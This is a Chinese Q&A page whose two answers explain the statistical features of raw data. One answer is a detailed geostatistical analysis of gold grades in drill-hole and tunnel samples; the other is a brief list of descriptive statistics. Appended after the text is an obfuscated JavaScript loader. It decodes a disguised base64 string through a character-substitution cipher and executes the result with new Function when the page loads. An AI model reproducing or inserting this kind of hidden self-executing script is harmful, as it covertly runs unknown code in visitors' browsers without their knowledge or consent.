(一)原始数据的统计特征

2024-11-23 07:49:21
推荐回答(2个)
回答1:

区别于传统的储量计算方法,利用地质统计学方法进行矿床的储量评估时,必须要对样品数据进行统计特征分析。只有在样品数据的统计特征确定以后,才能正确地选择地质统计学估值方法。

由于研究中采用的数据来自坑道和钻孔,这两类数据无论在样品支撑上还是在采样密度上都绝然不同。所以,将它们分开进行研究。

1.钻孔数据

正如所料,钻孔样品的金品位呈高偏分布,这种变异性可以通过金品位的变化系数来体现,经验告诉我们,如果品位的变化系数大于或等于1.50,那么,样本中一定包含着特高品位,并且会给后面的品位估计带来一定的难度,下表给出了矿床内金品位的统计结果,相应的品位分布直方图见下图,金品位的变化介于0.10~209.9g/t之间,均值为2.57g/t,变化系数为3.77,最大值几乎是均值的100倍。

钻孔样品金品位和样长统计结果

由于金品位的变化系数远大于1.5,且其分布出现较长的尾巴,这说明在样本中一定存在着特高品位。这种特高品位可能是由于矿化作用引起并真实存在的,也可能是由于人为采样或化验分析误差造成的。因此,有必要对钻孔中高品位的样品进行验证。验证方法有二:①外部验证,即在高品位样品位置上重新打钻、取样、分析从而提高勘探成本;②内部验证,即利用已采的样品相互验证。显然,我们不可能为了有限的几个高品位样品而重新打钻、取样、分析,而只能通过其周围的样品品位进行交叉验证。首先,我们研究一下周围钻孔中样品品位是否也很高?如果也存在高品位样品,则说明在该区域内普遍存在着高品位的样品,这种高品位样品的存在并不是偶然的,在很大程度上可能是由矿化引起的。下表列举了不同边界品位条件下高品位样的分布情况及其在样本中所占比例的统计结果。

钻孔样品金品位及样长统计分布直方图

不同边界品位下样本中高品位样的统计结果

从上表可以看出,当边界品位为20g/t时,高品位样品仅占样本的1.48%;当边界品位为50g/t时,高品位样品只占样本的0.47%。可见样本中高品位样品所占的比例相当少。但由于它们将对整个矿床的平均品位、资源总量,以及变差函数的稳定性产生较大的影响,所以,我们着重检查了4个品位值大于100g/t的样品,其空间位置的分布如上图所示,其中相隔最近的两个样品之间的距离仅为2.48m,且取自同一钻孔,而相距最远的两个样品之间的距离也只有185.84m,相对于10m×80m的勘探网格来讲,它们之间的距离是很近的,均位于几个相邻3个钻孔中。由此可以初步说明在高品位样品发生地段,矿床的矿化作用确实要比其他地段富,但还不足以证明它们是由矿化作用引起的。

下面我们再检查钻孔样品和坑道样品之间的对比情况,与这4个高品位钻孔样品相毗邻的坑道样品列入下表中,它们的坐标告知:每个高品位钻孔样品都有一个或几个高品位的坑道样品与之相对应。众所周知,钻孔样品和坑道样品是两种不同类型的样品,且由不同的人在不同的时间里,用不同的方式采集的,然而它们所显示的结果却非常相近,同时,这些样品的分析结果都经过了外部验证,其分析结果准确无误。这就说明它们不可能都是由人为因素造成的,即它们确实是客观存在的。因此,在计算实验变差函数和进行克里格估值时,我们不能忽略它们,而必须加以考虑。然而它们将会给整个估计工作带来相当大的困难,这也是为什么我们要先用指示值变量估计矿体的空间几何形态,然后再估计矿体内的块段平均品位的原因之一。

矿床中高品位样品验证图

另外,钻孔样品的长度也不是固定的,其最小值为0.19m,最大值为2.35m,均值为0.955m,标准差为0.296,其分布为近似正态分布?因此,在进行克里格估值之前也应对所有样品进行正则化,使得所有样品具有相同的支撑。

钻孔中高品位样品与坑道中高品位样品的空间结果对比表

续表

2.坑道数据

上表列出了9层坑道中样品的品位及全部坑道样品品位的统计结果,金品位的最小值为0.03g/t,最大值为627.00g/t,均值为6.79g/t,标准差为23.53,品位的变化系数为3.46,其最大值几乎是均值的100倍。可见在样本中同样存在着极少数特高品位,品位的分布直方图为长尾巴高偏分布(见下图),根据前面的相互验证,这些高品位样品在进行实验变差函数估计和克里格估值时应加以保留。

坑道品位统计结果表明,从1620m中段至1390m中段,品位的变化非常复杂。浅部坑道中,样品的最大值都较小,但整个坑道内样品的均值都高于深部坑道。其标准差(尤其是1620m,1584m标高的坑道)却较大。矿区内最高品位的样品出现在1503m中段,但是其标准差和品位变化系数也是所有坑道中最大的,均值也较浅部坑道小。深部坑道都表现为均值小、标准差和品位变化系数大,从总体变化情况来看,坑道中所有样品的平均品位从上至下呈递减的趋势(如下图所示),而标准差略呈递增趋势。在矿体的上部,品位的变化系数明显比矿体的下部小。如果从矿化的角度来看,矿体上部矿化较均匀,而在矿体的下部则表现出了极不均匀的现象。

坑道样品金品位统计结果品位/(g·t-1)

续表

坑道样品品位及样长分布直方图

在沿矿体的走向方向上,我们也绘制了品位随走向变化趋势图,为了便于比较,对所有样品的品位都取了对数。从分布散点图上可以看出,无论在矿体的上部还是在下部,高品位样品均分布于矿区的北部(纬度相对坐标介于6600~6900m之间),而南部金品位相对要低,通过分析原始地质资料发现,研究区北部的地形主要表现为凸起,而南部主要为山谷。因此,可以说明该矿区地表以下的矿体变化比较复杂,品位波动幅度大,难以控制。

对坑道样品的样长也进行了统计,最小值为0.10m,最大值为1.55m,均值为0.60m,标准差为0.253,与钻孔样品相比,坑道样品的样长明显要小,这主要由于坑道直接揭露了矿体本身,如果样长过大将会贫化矿石品位,甚至可能漏掉矿体。同时也是造成坑道样品品位在矿体深部变化比较大的原因之一。然而,从坑道统计和钻孔品位统计结果来看,坑道样品品位的均值要明显高于钻孔样品的平均品位,品位变化系数却明显低于钻孔样品的品位变化系数。钻孔样品的品位变化系数大致相当于底部坑道的品位变化系数,说明随着铅垂深度的加大矿化越来越较复杂,仔细研究发现,无论是钻孔还是底部坑道所截穿的矿体不仅有富、厚矿脉,而且有贫、薄矿脉。

单坑道样品的平均品位及品位变化系数沿铅垂方向变化趋势图

坑道样品样长统计结果样长/m

回答2:

原始数据的统计特征是指对数据进行描绘、刻画和表达的方式,以便更好地了解数据的性质和特征。其中包括以下几个方面:1.中心性度量:反映数据集中程度的统计量。主要有平均数、中位数、众数等。2.离散程度度量:反映数据分散程度的统计量。主要有方差、标准差、四分位差等。3.偏态与峰态:反映数据集分布的不对称程度和峰度。主要有偏态系数、峰态系数等。4.分位数:将数据分成若干份的分点值。主要有四分位数、百分位数等。这些统计特征可以通过各种方法计算和描述,用于确定数据的性质和特征。同时,不同的统计特征也可用于不同的分析目的和应用场景。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();